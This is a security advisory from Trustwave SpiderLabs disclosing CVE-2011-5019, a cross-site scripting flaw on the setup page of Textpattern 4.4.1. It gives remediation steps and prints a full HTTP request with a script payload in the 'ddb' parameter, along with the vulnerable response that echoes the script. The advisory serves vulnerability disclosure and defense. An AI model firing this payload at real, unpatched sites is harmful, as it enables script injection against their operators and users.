Trustwave's SpiderLabs Security Advisory TWSL2012-001:
Cross-Site Scripting Vulnerability in Textpattern Content Management System

Published: 1/03/12
Version: 1.0

Vendor: Textpattern (http://textpattern.com/)
Product: Textpattern
Version affected: 4.4.1 before change set 3612

Product description:
Textpattern is an open source content management system originally
developed by Dean Allen. While it is often listed among weblogging tools,
its aim is to be a general-purpose content management system suitable for
deployment in many contexts. Textpattern is written in PHP using a MySQL
database backend.

Credit: Jonathan Claudius of Trustwave SpiderLabs

Finding 1: Cross-Site Scripting Vulnerability
CVE: CVE-2011-5019

After extracting the Textpattern source files on to a web server, but
before the application is fully installed, cross-site scripting
vulnerabilities are present in the '/textpattern/setup/index.php' page.

Example(s):

Performing XSS on "ddb" parameter

#Request

POST /textpattern/setup/index.php HTTP/1.1

Host: A.B.C.D
User-Agent: Mozilla/5.0 (Macintosh; Intel Mac OS X 10.6; rv:8.0.1)
Gecko/20100101 Firefox/8.0.1
Accept: text/html,application/xhtml+xml,application/xml;q=0.9,*/*;q=0.8
Accept-Language: en-us,en;q=0.5
Accept-Encoding: gzip, deflate
Accept-Charset: ISO-8859-1,utf-8;q=0.7,*;q=0.7
Proxy-Connection: keep-alive
Referer: http://A.B.C.D/textpattern/setup/index.php
Content-Type: application/x-www-form-urlencoded
Content-Length: 156

duser=blah&dpass=&dhost=localhost&ddb=%3Cscript%3Ealert%28%27123%27%29%3C%2
Fscript%3E&dprefix=&siteurl=A.B.C.D&Submit=next&lang=en-us&step=print
Config

#Response

HTTP/1.1 200 OK
Date: Sat, 10 Dec 2011 02:46:44 GMT
Server: Apache/2.2.15 (CentOS)
X-Powered-By: PHP/5.3.2
Content-Length: 674
Connection: close
Content-Type: text/html; charset=utf-8

<--------snip------>

<div align="center"><p>Checking database
connection</p><p>Connected</p><p>Database
<strong><script>alert('123')</script></strong> does not exist or your
specified user does not have permission to access it.</p>

Remediation Steps:
Textpattern change set 3612 includes a fix for this security issue. Upgrade
to the latest version.


Revision History:
12/23/11 - Vulnerability disclosed
12/23/11 - Patch released by vendor
1/03/12 - Advisory published


About Trustwave:
Trustwave is the leading provider of on-demand and subscription-based
information security and payment card industry compliance management
solutions to businesses and government entities throughout the world. For
organizations faced with today's challenging data security and compliance
environment, Trustwave provides a unique approach with comprehensive
solutions that include its flagship TrustKeeper compliance management
software and other proprietary security solutions. Trustwave has helped
thousands of organizations--ranging from Fortune 500 businesses and large
financial institutions to small and medium-sized retailers--manage
compliance and secure their network infrastructure, data communications and
critical information assets. Trustwave is headquartered in Chicago with
offices throughout North America, South America, Europe, Africa, China and
Australia. For more information, visit https://www.trustwave.com

About Trustwave's SpiderLabs:
SpiderLabs(R) is the advanced security team at Trustwave focused on
application security, incident response, penetration testing, physical
security and security research. The team has performed over a thousand
incident investigations, thousands of penetration tests and hundreds of
application security tests globally. In addition, the SpiderLabs Research
team provides intelligence through bleeding-edge research and proof of
concept tool development to enhance Trustwave's products and services.
https://www.trustwave.com/spiderlabs

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